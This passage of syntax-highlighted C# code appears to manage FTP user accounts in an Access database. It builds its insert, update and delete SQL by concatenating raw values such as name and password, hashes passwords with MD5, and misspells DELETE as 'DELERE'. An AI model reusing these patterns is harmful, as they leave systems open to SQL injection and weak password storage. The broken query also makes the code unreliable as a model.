#000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">""</SPAN><SPAN style="COLOR: #000000">;<BR></SPAN><SPAN style="COLOR: #0000ff">private</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;PassType&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">0</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">;<BR></SPAN><SPAN style="COLOR: #0000ff">private</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;Password&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">""</SPAN><SPAN style="COLOR: #000000">;<BR></SPAN><SPAN style="COLOR: #0000ff">private</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;Privilege&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">0</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">;<BR></SPAN><SPAN style="COLOR: #0000ff">private</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;QuotaCurrent&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">0</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">;&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">当前配额&nbsp;10485760/1024/1024=10M</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #0000ff">private</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;QuotaEnable&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">0</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">;<BR></SPAN><SPAN style="COLOR: #0000ff">private</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;QuotaMax&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">0</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">;&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">最大配额</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #0000ff">private</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;RatioCredit&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">0</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">;<BR></SPAN><SPAN style="COLOR: #0000ff">private</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;RatioDown&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">1</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">;<BR></SPAN><SPAN style="COLOR: #0000ff">private</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;RatioType&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">0</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">;<BR></SPAN><SPAN style="COLOR: #0000ff">private</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;RatioUP&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">1</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">;<BR></SPAN><SPAN style="COLOR: #0000ff">private</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;RelPaths&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">1</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">;<BR></SPAN><SPAN style="COLOR: #0000ff">private</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;SessionTimeOut&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">0</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">;<BR></SPAN><SPAN style="COLOR: #0000ff">private</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;SkeyValues&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">""</SPAN><SPAN style="COLOR: #000000">;<BR></SPAN><SPAN style="COLOR: #0000ff">#endregion</SPAN><SPAN style="COLOR: #000000"><BR></SPAN><SPAN style="COLOR: #0000ff">#region</SPAN><SPAN style="COLOR: #000000">&nbsp;读取/增加/删除</SPAN><SPAN style="COLOR: #000000"><BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;DataSet&nbsp;Read()<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;str&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">@"</SPAN><SPAN style="COLOR: #000000">Provider=Microsoft.Jet.OLEDB.4.0;Data&nbsp;Source=</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">System.Web.HttpContext.Current.Server.MapPath(System.Configuration.ConfigurationSettings.AppSettings[</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">ftp数据库路径</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">]);<BR>OleDbConnection&nbsp;OleConn&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;OleDbConnection(str);<BR>OleDbDataAdapter&nbsp;OleDa&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;OleDbDataAdapter(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">SELECT&nbsp;*&nbsp;FROM&nbsp;useraccounts</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,&nbsp;OleConn);<BR>DataSet&nbsp;ds&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;DataSet();<BR>OleDa.Fill(ds,&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">读取库</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR>OleConn.Close();<BR>OleConn.Dispose();<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;ds;<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;Boolean&nbsp;Add()<BR>{&nbsp;<BR>Password&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;NewMiMa(Password);<BR></SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;str1&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">[Access],[AlwaysLogin],[ChangePass],[Disable],[Expirationtype],[Expiration],[Groups],[HideHidden],[HomeDir],[idleTimeOut],[LogMesfile],[MaxIp],[MaxSpeedDown],[MaxSpeedUp],[MaxUsers],[Name],[Needsecure],[Notes],[PassType],[Password],[Privilege],[QuotaCurrent],[QuotaEnable],[QuotaMax],[RatioCredit],[RatioDown],[RatioType],[RatioUP],[RelPaths],[SessionTimeOut],[SkeyValues]</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">;<BR></SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;str2&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">'</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">Access</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">',</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">AlwaysLogin</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">ChangePass</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">Disable</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">Expirationtype</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,#</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">Expiration</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">#,'</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">Groups</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">',</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">HideHidden</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,'</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">HomeDir</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">',</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">idleTimeOut</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,'</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">LogMesfile</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">',</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">MaxIp</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">MaxSpeedDown</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">MaxSpeedUp</SPAN><SPAN style=, "COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">MaxUsers</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,'</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">Name</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">',</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">Needsecure</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,'</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">Notes</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">',</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">PassType</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,'</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">Password</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">',</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">Privilege</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">QuotaCurrent</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">QuotaEnable</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">QuotaMax</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">RatioCredit</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">RatioDown</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">RatioType</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">RatioUP</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">RelPaths</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">SessionTimeOut</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,'</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">SkeyValues</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">'</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">;<BR></SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;str&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">@"</SPAN><SPAN style="COLOR: #000000">Provider=Microsoft.Jet.OLEDB.4.0;Data&nbsp;Source=</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">System.Web.HttpContext.Current.Server.MapPath(System.Configuration.ConfigurationSettings.AppSettings[</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">ftp数据库路径</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">]);<BR>OleDbConnection&nbsp;conn&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;OleDbConnection(str);<BR>OleDbCommand&nbsp;cmd&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;OleDbCommand(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">INSERT&nbsp;INTO&nbsp;[useraccounts]&nbsp;(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">str1</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">)&nbsp;VALUES&nbsp;(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">str2</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">)</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,&nbsp;conn);&nbsp;<BR>conn.Open();<BR>cmd.ExecuteNonQuery();&nbsp;<BR>conn.Close();<BR>conn.Dispose();<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">true</SPAN><SPAN style="COLOR: #000000">;<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">void</SPAN><SPAN style="COLOR: #000000">&nbsp;update(</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;name,&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;password)<BR>{<BR>password&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;NewMiMa(password);<BR></SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;str&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">@"</SPAN><SPAN style="COLOR: #000000">Provider=Microsoft.Jet.OLEDB.4.0;Data&nbsp;Source=</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">System.Web.HttpContext.Current.Server.MapPath(System.Configuration.ConfigurationSettings.AppSettings[</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">ftp数据库路径</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">]);<BR>OleDbConnection&nbsp;conn&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;OleDbConnection(str);<BR>OleDbCommand&nbsp;cmd&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;OleDbCommand(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">UPDATE&nbsp;[useraccounts]&nbsp;SET&nbsp;[name]='</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">name</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">',&nbsp;[password]='</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">password</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">'&nbsp;WHERE&nbsp;name='</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">name</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">'</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,&nbsp;conn);<BR>conn.Open();<BR>cmd.ExecuteNonQuery();&nbsp;<BR>cmd.Connection.Close();<BR>conn.Dispose();<BR>}<BR><BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;Boolean&nbsp;del(</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;name)<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;str&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">@"</SPAN><SPAN style="COLOR: #000000">Provider=Microsoft.Jet.OLEDB.4.0;Data&nbsp;Source=</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">System.Web.HttpContext.Current.Server.MapPath(System.Configuration.ConfigurationSettings.AppSettings[</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">ftp数据库路径</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">]);<BR>OleDbConnection&nbsp;conn&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;OleDbConnection(str);<BR>OleDbCommand&nbsp;cmd&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;OleDbCommand(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">DELERE&nbsp;FROM&nbsp;[useraccounts]&nbsp;WHERE&nbsp;name='</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">name</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">'</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,&nbsp;conn);<BR>cmd.Connection.Open();<BR>cmd.ExecuteNonQuery();&nbsp;<BR>cmd.Connection.Close();<BR>cmd.Connection.Dispose();<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">true</SPAN><SPAN style="COLOR: #000000">;<BR>}<BR><BR></SPAN><SPAN style="COLOR: #0000ff">#endregion</SPAN><SPAN style="COLOR: #000000"><BR></SPAN><SPAN style="COLOR: #0000ff">#region</SPAN><SPAN style="COLOR: #000000">&nbsp;加密方法,取随时数</SPAN><SPAN style="COLOR: #000000"><BR></SPAN><SPAN style="COLOR: #0000ff">private</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;JiaMi(</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;UserPassword,&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;Password)&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">取原密码前两位来加密，以此合对密码</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #000000">{&nbsp;<BR></SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;Password2&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;UserPassword.Substring(</SPAN><SPAN style="COLOR: #000000">0</SPAN><SPAN style="COLOR: #000000">,</SPAN><SPAN style="COLOR: #000000">2</SPAN><SPAN style="COLOR: #000000">);<BR>Password&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;Password2&nbsp;</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">&nbsp;Password;&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">取密码的左边两位</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #000000">Password&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;FormsAuthentication.HashPasswordForStoringInConfigFile(Password,</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">MD5</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;Password2&nbsp;</SPAN><SPAN 